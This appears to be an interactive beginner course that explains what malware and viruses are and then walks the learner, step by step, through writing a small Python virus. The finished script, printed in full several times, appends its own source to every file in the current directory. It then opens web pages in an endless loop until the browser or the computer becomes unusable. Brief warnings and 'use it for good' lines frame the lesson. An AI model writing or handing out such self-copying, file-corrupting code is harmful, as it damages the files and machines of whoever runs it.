Prerequisites

Intro

In this course, we'll get an overview of what malware is before diving into viruses.

Then, using a bit of Python, we'll give you the tools to build a virus of your own.

Installing malware

Malware is software. It gets installed just like any other software on a computer.

Let's put down the steps for installing malware on your computer?

  1. Grant the installer access to parts of your computer to start the installation process
  2. Start the installation process
  3. Grant additional access while the program is installing

Woah! Did you ever notice how much access you grant to software on your computer?

Granting access

Pay close attention to the permissions you give to software to create, update and execute files.

While that may not sound like much, see what happens when you write pseudocode that creates and plays an infinite number of videos.

code {
 repeat forever {
  create a video file
  play the video file
 }
}

//Output Below

Creating video...
Playing video...
Creating video...
...
**Computer Crashed**

Small and destructive! Make sure to check the source of software before you download it.

Access to hardware

Granting access to hardware like your computer's microphone or camera gives even more power to software installed on your computer. 

Malware

Malware is any software created explicitly to damage or gain unauthorized access to a computer, server, or computer network.

Let's name some things a person might do with malware.

That's right! Once malware has access to files and hardware on your computer, it can do all sorts of things.

Malicious software

An easy way to remember malware is that it comes from combining the words malicious and software.

Virus

A virus is a very specific type of malware. It executes and replicates itself.

If we take the code we wrote for videos and include pseudocode for replicating itself, we create a virus. Let's give it a try.

code {
 Create webbrowser file
 Copy code into webbrowser file
 Generate webbrowser executable

 repeat forever {
  create a video file
  play the video file
 }
}

//Output Below

webbrowser.exe created

Creating video...
Playing video...
Creating video...
...
**Computer Crashed**

See that? The malware is more difficult to get rid of because it replicated itself inside webbrowser.exe before crashing the computer.

Executable file

The virus we wrote replicated itself inside webbrowser.exe. The .exe extension means it's an executable file, or program, for Windows OS. 

Now when a user clicks on webbrowser.exe on a Windows computer, they'll execute the virus which will copy itself and crash their computer.

Host program

Viruses require a host; an executable file the virus inserts itself into or attaches itself to.

The virus we wrote disguised itself as a web browser. It would be more effective if it found programs and attached itself to them.

code {
 Find Google Chrome
 Attach code to Google Chrome

 repeat forever {
  create a video file
  play the video file
 }
}

//Output Below

**ACCESS DENIED**

Access Denied! While viruses attach themselves to programs, it will take more than a bit of pseudocode to beat white hat hackers at Google.

Depending on a host

All viruses depend on their host programs. If a host program runs, the virus will run too.  

How do you think can you successfully remove a virus from a computer?

Yes! Leaving any virus code on a computer will mean the virus will replicate itself again if any of the remaining host programs are run.

Removing virus code

Deleting virus code from all host programs is also a way of removing a virus from a computer.

Due to the replicating nature of viruses, a strong programmer can make complicated viruses that are almost impossible to remove.

Intro

Let's learn some basic tools for programming a virus.

We'll manage files and code infinite loops using the Python programming language.

Prerequisites

If you know how variables and loops work in another programming language, you have the knowledge to follow along.

Creating a variable in Python

Let's dive straight into Python by creating a variable. Variables in Python don't require a keyword

Let's create a statement variable and give it an initial value using the equal sign (=). 

statement = "I will not use my virus knowledge for evil."
print(statement)

//Output Below

I will not use my virus knowledge for evil.

That's right! We'll use variables to store the location of files later.

Printing in Python

In Python, we use print() to print values to the console. Let's give it a try.

statement = "Learn about viruses for good."
print(statement)

//Output Below

Learn about viruses for good.

Great work! Printing values to the console will help understand what files we're accessing later on.

Infinite loops in Python

One way to really annoy someone with a virus is by creating an infinite loop.

In Python, we can create an infinite loop with while True:. Meaning the code will execute while True is True.

while True:
 print("This will never end.")

//Output Below

...
This will never end.
This will never end.
This will never end.

Nice job! This infinite loop won't stop printing This will never end..

Managing files with Python

We know creating, updating, and deleting files can make malware very destructive.

Let's see how programmers do those things in Python so you get the basics down for understanding how viruses are created.

Creating a file

To create a new file, we useopen() and place the file name as a string between the parentheses (()).

Let's create a new Python file named code.py.

python_file = open("code.py")

Nice! open("code.py") created a new file named code.py in the current directory.

Appending to a file

Since attaching viruses to programs is common, let's open a file to append code to it.

Opening a file so we can append to it is done by adding a comma (,) and "a" inside the parentheses of open().

python_file = open("code.py", "a")

Awesome! We can now write inside the code.py file.

Writing to a file

To append actual code to a file, we use .write(). This adds code without deleting what was previously there. 

Let's give .write() a try by writing a Python comment in the code.py file.

python_file = open("code.py", "a")
python_file.write("## Appending virus code")

Now the file code.py contains the comment you appended:

## Appending virus code

That's great work! 

Closing a file

It's good practice to close any file we open. So the last step in writing code is closing the file with .close().

python_file = open("code.py", "a")
python_file.write("## Appending virus code")
python_file.close()

Great! Now we don't risk leaving the file open and messing with the data if our program runs for a long time.

Updating a file

We can also call .open() to open an existing file.

Let's try adding another comment to the existing code.py file.

python_file = open("code.py", "a")
python_file.write("## Appending another comment")
python_file.close()

Now, instead of creating a new file, you updated the existing code.py file:

## Appending virus code
## Appending another comment

Great work! To create a new file or open an existing one, use .open().

Opening a file to read

Getting the content of a file is called reading a file.

To read a file, use "r" instead of "a" when opening the file.

python_file = open("code.py", "r")

Nice! An easy way to remember is that "r" stands for read.

Reading a file

To get the content of the file, use .read(). This reads and returns the content of the file.

python_file = open("code.py", "r")
 
content = python_file.read()
print(content)
 
python_file.close()

//Output Below

## Appending virus code
## Appending another comment

See that? Reading a file is how you can get the content of the file. This is why the content variable holds the content of code.py.

Importing os

We learned that malware takes advantage of managing files. This is something the operating system does on your computer.

In Python, we import the operating system library using the import keyword and os.

import os

That's right! os is short for operating system.

Print files

To list all the files in the current directory, we add .listdir() to os.

import os
 
files = os.listdir()
 
print(files)

//Output Below

['webbrowser.exe', 'code.py']

Great job! In the current directory, there are two files. One named webbrowser.exe and another name code.py.

Looping through the current directory

To loop through the files names from os.listdir(), we can use a for loop.

Let's create a for loop to loop for each file name in os.listdir().

import os
 
for file_name in os.listdir()
 print(file_name)

//Output Below

webbrowser.exe
code.py

Sweet! You now have the tools to loop through files in a directory and make changes to them.

Importing webbrowser

If we want to mess with someone's web browser using Python, we can import the webbrowser library. Let's give it a try.

import webbrowser

Awesome work! Now it's time to do something sneaky.

Opening a website

We can use .open() to open a website. Try opening https://pywe.org/.

import webbrowser

webbrowser.open("https://pywe.org/")

Awesome work! Python developers try to name things in a way that's easy to remember. So .open() is used to open a website.

Intro

In this lesson, we'll use our knowledge on changing files to code a virus.

What we'll do

We'll create a virus that opens browser windows until the browser crashes or the computer slows down so much it becomes unusable.

We'll also make sure the virus manages to replicate itself into Python files in the current directory.

Warning

If you try this on your computer, make sure to create the virus in its own directory, so it doesn't change files you don't want it to.

Take extra care when copying other viruses you find on the internet. Viruses can ruin your computer or make it unsafe to use.

Files in current directory

For the virus we're creating we'll be writing code inside virus.py. We'll work with the assumption that this computer directory is open. 

The directory contains three Python files: virus.py, webbrowser.py, and editor.py.

Import os

Let's set up our virus by importing the library needed for accessing the operating system.

import os

Great!

Import webbrowser

Next, let's import the library for accessing the web browser.

import os
import webbrowser

Nice!

Create the virus file variable

Let's start working on the code that replicates the virus.

Let's create a variable named virus_file to access the code we're writing.

import os
import webbrowser
 
virus_file

Nice!

Open the virus file

Open virus.py to read the code. 

import os
import webbrowser
 
virus_file = open("virus.py", "r")

Great work!

Create the virus code variable

By reading virus.py, we can take the code we're writing and store it in a variable.

Let's create a variable named virus_code to copy the virus code.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code

Great job!

Read the virus file

Now let's make sure the virus_code variable contains the virus code that we're writing inside virus.py.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()

Neat!

Close the virus file

Let's close the virus file.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()

Great work!

Create a for loop

Next, we'll loop through the file names in the current directory and copy the virus code to them.

Let's create a for loop to loop through the file names in the current directory.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():

Awesome!

Open multiple files

Let's create a file variable to temporarily store each file in the current directory.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file

Nice job!

Open multiple files for appending

Let's select the correct character to finish opening and appending the virus code to each file.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")

Sweet!

Append to multiple files

Let's Append the virus_code to each file in the current directory.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)

Awesomesauce!

Closing multiple files

Let's make sure each file is closed after appending to it.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)
 file.close()

Fantastic!

Start a while loop

The final part of the virus is the destructive part: the infinite loop.

Let's code the keyword for creating a while loop.

import os
import webbrowser
...
 
while

Nice!

Create the infinite loop

Let's make the while loop an infinite loop.

import os
import webbrowser
...
 
while True:

Great work!

Open infinite websites

Let's make this infinite loop destructive by opening websites nonstop.

Open a website inside the infinite loop.

import os
import webbrowser
...
 
while True:
 webbrowser.open("https://pywe.org")

Sweet!

Executing the virus

Great work coding your first virus!

Let's see what would happen if we run it.

import os
import webbrowser
 
virus_file = open("virus.py", "r")
virus_code = virus_file.read()
virus_file.close()
 
for file_name in os.listdir():
 file = open(file_name, "a")
 file.write(virus_code)
 file.close()
 
while True:
 webbrowser.open( "https://pywe.org" )

Effects of the virus

The virus would replicate itself into all files in the current directory. This means it will execute anytime one of these files run:

The virus would also open websites until the computer is too slow to use or its web browser crashes.

Make sure to use your knowledge for good!